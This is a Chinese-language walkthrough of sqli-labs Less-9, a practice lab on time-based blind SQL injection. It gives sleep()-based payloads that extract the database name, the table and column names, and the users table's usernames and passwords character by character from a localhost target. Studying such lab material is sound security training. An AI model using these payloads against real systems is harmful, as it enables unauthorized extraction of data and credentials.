Less-9

本关我们从标题就可以看到 《基于时间-单引号》,所以很明显的这关要我们利用延时注入进行,同时id参数进行的是 ' 的处理。这里我们大致的将延时注入的方法演示一次。

这里用sleep()函数。

这里因为我们利用的是时间的延迟,贴图就没有意义了,这里只写payload了:(正确的时候直接返回,不正确的时候等待5秒钟,只贴正确的)

猜测数据库:

http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),1,1))=115,1,sleep(5))--+

说明第一位是s (ascii码是115)

http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),2,1))=101,1,sleep(5))--+

说明第一位是e (ascii码是101)

....

以此类推,我们知道了数据库名字是security

 

猜测security的数据表:

http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+

猜测第一个数据表的第一位是e,...依次类推,得到emails

http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+

猜测第二个数据表的第一位是r,...依次类推,得到referers

...

再以此类推,我们可以得到所有的数据表emails,referers,uagents,users

猜测users表的列:

http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+

猜测users表的第一个列的第一个字符是i,

以此类推,我们得到列名是id,username,password

 

猜测username的值:

http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select username from users limit 0,1),1,1))=68,1,sleep(5))--+

猜测username的第一行的第一位

以此类推,我们得到数据库username,password的所有内容

 

以上的过程就是我们利用sleep()函数注入的整个过程,当然了可以离开BENCHMARK()函数进行注入,这里可以自行进行测试。我们这里就不进行演示了。

最新文章

  1. 承接Unity3D外包公司 — 技术分享
  2. 密码加SALT原理
  3. Selenium WebDriver + Python 环境配置
  4. Apache与Tomcat 区别联系
  5. 文件系统缓存dirty_ratio与dirty_background_ratio两个参数区别
  6. 《Usermod:user lee is currently logged in 家目录不能改变解决方法》
  7. PIL 安装
  8. flex开发小技巧集锦
  9. hash算法-time33算法
  10. SVD学习
  11. iOS 导航条的影响
  12. JSON的服务器开发之路
  13. 使用CSharp编写Google Protobuf插件
  14. windows编程学习笔记(三)ListBox的使用方法
  15. shell 命令 使用
  16. PTA L2-011 玩转二叉树 二叉树+bfs
  17. redis主从架构,分片集群详解
  18. 析构函数中的virtual是否必要?
  19. 每个JavaScript程序员都需要知道的5个数组方法
  20. 1029 最大公约数和最小公倍数问题(gcd) luogu洛谷

热门文章

  1. LightOJ 1009 二分图染色+BFS/种类并查集
  2. Eclipse代码报错提示: the import java.util cannot be resolve,怎么解决?
  3. 省队集训Day1 总统选举
  4. 【BZOJ】1202: [HNOI2005]狡猾的商人
  5. Tomcat8利用Redis配置Session共享
  6. .Net MVC4 上传大文件,并保存表单
  7. python基础===时间处理模块
  8. Visual Studio 附加到进程调试
  9. 【NOIP2016】补题
  10. java web 资源文件读取